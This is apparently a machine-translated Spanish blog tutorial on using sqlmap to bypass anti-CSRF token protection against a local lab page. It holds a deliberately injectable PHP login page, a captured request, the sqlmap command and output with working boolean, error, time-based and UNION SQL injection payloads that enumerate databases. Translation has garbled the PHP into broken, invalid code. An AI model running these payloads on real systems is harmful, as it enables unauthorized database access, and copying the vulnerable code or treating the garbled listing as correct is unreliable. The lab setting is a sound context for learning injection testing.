sqlmap derivación de la protección símbolo

1, la página de prueba

<? php 
session_start ();
si ( isset ( $ _SESSION [ 'símbolo']) && isset ( $ _POST [ 'nombre de usuario' ])) {
 si ( vaciar ( $ _POST [ 'símbolo']) || $ _POST [ 'símbolo']! = $ _SESSION [ 'símbolo' ]) {
     header ( 'Location: http: //localhost/error.php token ='. $ _SESSION [ 'símbolo' ]);
    salir (-1 ); 
} 
} 
 
    $ Símbolo = MD5 ( tiempo ());
    $ _SESSION[ 'símbolo'] = $ testigo ;
?> 
    <Html> 
    <head> 
        <title> sqlmap con csrf contador </ title> 
    </ head> 
    <body> 
    <form method = "post" action = "/ sql / csrf.php" id = "Form1"> 
        < div> 
            <input name = tipo "nombre de usuario" = "text" id = estilo de "nombre de usuario" = "width: 270px;" /> 
            <input type = "submit" name = "btnSearch" = "Buscar" id = "btnSearch "/> 
            <input type =" hidden" name = "" id = "símbolo símbolo" value = "<? php echo $ simbólico ?>"/> 
        </ div> 
    </ form> 
 
    <br/> 
    </ body> 
    </ html> 
<? php 
 
si ( isset( $ _POST [ 'nombre de usuario' ])) { 
 
    $ conn = mysql_connect ( '127.0.0.1', 'root', '123456' ); 
 
    si (! $ conn ) {
         die ( '数据库连接错误'. mysql_error ()); 
    } Demás {
             mysql_select_db ( 'test', $ conn );
            $ nombre_usuario = $ _POST [ 'nombre de usuario' ];
            $ sql = "SELECT * FROM usuarios donde nombre de usuario = $ nombre_usuario '" ;
            ) O morir ( 'error'. Mysql_error ());
        mientras que ( $ fila = mysql_fetch_array ( $ result )) {
               $ nombre de usuario = $ fila [ 'nombre de usuario' ];
              $ edad = $ fila [ 'edad' ];
              $ sexo = $ fila [ 'sexo' ];
              echo  $ nombre de usuario '& nbsp & nbsp & nbsp'. ;
              echo  $ edad . '& nbsp & nbsp & nbsp' ;
              echo  $ sexo ;
              "<br />" ; 
        } 
    } 
    Mysql_close ( $ conn ); 
} Demás { 
 
echo "nombre de usuario es nulo" ; 
}
 ?>

nota:

  (1), el nombre de archivo y la ruta de la dirección de la página salto de las necesidades y de la misma;

  (2), nota que la cuenta de conexión de base de datos, contraseña, nombre de la base de datos, nombre de la tabla, el campo

2, página muestran la protección símbolo

 

 3, las impresiones de inyección SQL (uso -r esta manera, el especifica el contenido http solicitudes)

http petición dice lo siguiente:

POSTAL /sql/csrf.php HTTP / 1.1 
Host: 192.168 . 2.235 
usuario -Agente: Mozilla / 5.0 (X11; Linux x86_64; rv: 68.0 ) Gecko / 20100101 Firefox / 68.0 
Accept: text / html, application / xhtml + xml, application / xml; q = 0,9 , * / * ; q = 0.8 
Accept-Language: en-US, en; q = 0.5 
Accept-Encoding: gzip, deflate 
Referer: http://192.168.2.235/sql/csrf.php 
Content-Type: application / x-www-form-urlencoded 
contenido -Longitud: 70 
Connection: close 
Cookie: PHPSESSID = 6c5c85b72a489b88b1d0c84664d611e6 
de actualización en situación de inseguridad-solicitudes: 1

= nombre de usuario cisco y btnSearch = Search & token = 9159479faebc1e42c6a311fb4c02a5df

orden de inyección SQL es la siguiente:

sqlmap -r datos / test.txt -p " nombre de usuario " --csrf-token = " símbolo " --csrf-url = " http://192.168.2.235/sql/csrf.php " --batch --dbs

-r: Especifica el proceso de almacenamiento de archivos petición http;

-p: especifica el nombre del parámetro del punto de inyección;

--csef-token: muestra de nombres de campo en la página especificada;

--csrf-url: especifica la página de adquisición de señal adquirida (que es visitar la página se puede obtener el valor de token);

--batch: no interactúan con el proceso de inyección, todas las opciones se seleccionan de acuerdo con el valor por defecto;

--dbs: Lista de todas las bases de datos;

resultados de la ejecución son las siguientes:

 

 4 , está unido

De hecho, la página se identifica automáticamente sqlmap token y procesada únicamente un valor simbólico no es tan obvio casos sólo debe especificar manualmente.

No especifique un token, resultados de la prueba son los siguientes:

e2a5e @ kali: ~ $ sqlmap -r datos / test.txt -p " nombre de usuario " - DBS 
        ___ 
       __H__                                                                                                                                                
 ___ ___ [ " ] _____ ___ ___ {1.4.2} # estable                                                                                                                    
. | _ - | [ " ] | . '| . |                                                                                                                                  
| ___ | _ [ "] _ | _ | _ | __, | _ |                                                                                                                                  
      | _ | V ... | _ | http: // sqlmap.org                                                                                                                 

[ nota legal!]: Uso de sqlmap para atacar objetivos sin el consentimiento mutuo previo es ilegal. Es el usuario final ' responsabilidad s a obedecer todas las leyes locales, estatales y federales aplicables. Los desarrolladores asumen ninguna responsabilidad y no son responsables de cualquier mal uso o daño causado por este programa 

[ *] a partir @ 16 : 44 : 27 /2020 - 03 - 11 / 

[ 16 : 44 : 27 ] [INFO] análisis HTTP petición de ' datos / test.txt ' 
[ 16 : 44 : 27 ] [INFO] reanudar back-end DBMS ' mysql '  
[ 16 : 44 : 27 ] [INFO] pruebas de conexión a la URL de destino
 tiene un 302 redirección a ' http: //localhost/error.php token = 842f8206097c083d319474122f6a9aca ' . ¿Quieres que siga? [Y / n] 
redirección es el resultado de una solicitud POST. ¿Quieres volver a enviar los datos de entrada original a una nueva ubicación ? [Y / n]  
sqlmap reanudó el siguiente punto de inyección (s) de sesión almacenada:
 --- 
Parámetro: nombre de usuario (POST) 
    Tipo: boolean - basado ciega 
    Título: MySQL y booleano ciega basada - Cuando, en vista, ORDER BY o GROUP BY (MAKE_SET) 
    Carga útil: nombre de usuario = cisco ' y MAKE_SET (9310 = 9310,5577) - tjnm y btnSearch = Search & token = 9159479faebc1e42c6a311fb4c02a5df 

    Tipo: error - basado 
    Título: MySQL > = 5.0 basada en error y -WHERE, HAVING, ORDER BY o cláusula GROUP BY (piso) 
    Carga útil: nombre de usuario = cisco ' Y (SELECT 4942 FROM (SELECT COUNT (*), CONCAT (0x717a766b71, (SELECT (ELT (4942 = 4942,1))), 0x716a767671 , suelos (RAND (0) * 2)) x INFORMATION_SCHEMA.PLUGINS DE GRUPO POR x) a) - MAEB y btnSearch = Buscar & = tokens 9159479faebc1e42c6a311fb4c02a5df 

    Tipo: tiempo - ciega basada 
    Título: MySQL > = 5.0 . 12 Y el tiempo - ciego (consulta SLEEP) con base 
    de carga útil: nombre de usuario = cisco ' Y (SELECT 2251 FROM (SELECT (SLEEP (5))) Fsfq) - LbzZ y btnSearch = Search & token = 9159479faebc1e42c6a311fb4c02a5df
 
    Tipo: consulta UNION
    Título: consulta MySQL UNIÓN (NULL) - 3 columnas 
    Carga útil: nombre de usuario = cisco ' UNION ALL SELECT CONCAT (0x717a766b71,0x584e556d636866734867416a6853497858736e5949686e69454f616a4a5041426c56776d41734245,0x716a767671), NULL, NULL # & btnSearch = Search & token = 9159479faebc1e42c6a311fb4c02a5df 
--- 
[ 16 : 44 : 31 ] [INFO ] el back extremo DBMS es MySQL 
volver DBMS -END: MySQL> = 5.0 
[ 16 : 44 : 31 ] [INFO] ir a buscar nombres de base de datos 
bases de datos disponibles [ 9 ]: 
[ *  ] DVWA
[ * ] INFORMATION_SCHEMA 
[ * ] MySQL 
[ * ] performance_schema 
[ * ] sys 
[ * ] prueba 
[ * ] webug 
[ * ] webug_sys 
[ * ] webug_width_byte 

[ 16 : 44 : 31 ] [INFO] datos captados registran en archivos de texto bajo " /home/e2a5e/.sqlmap/output/192.168.2.235 ' 

[ *] terminando @ 16 : 44 : 31 de / 2020 - 03 -11 /

 

Supongo que te gusta

Origin www.cnblogs.com/yyxianren/p/12463409.html
Recomendado
Clasificación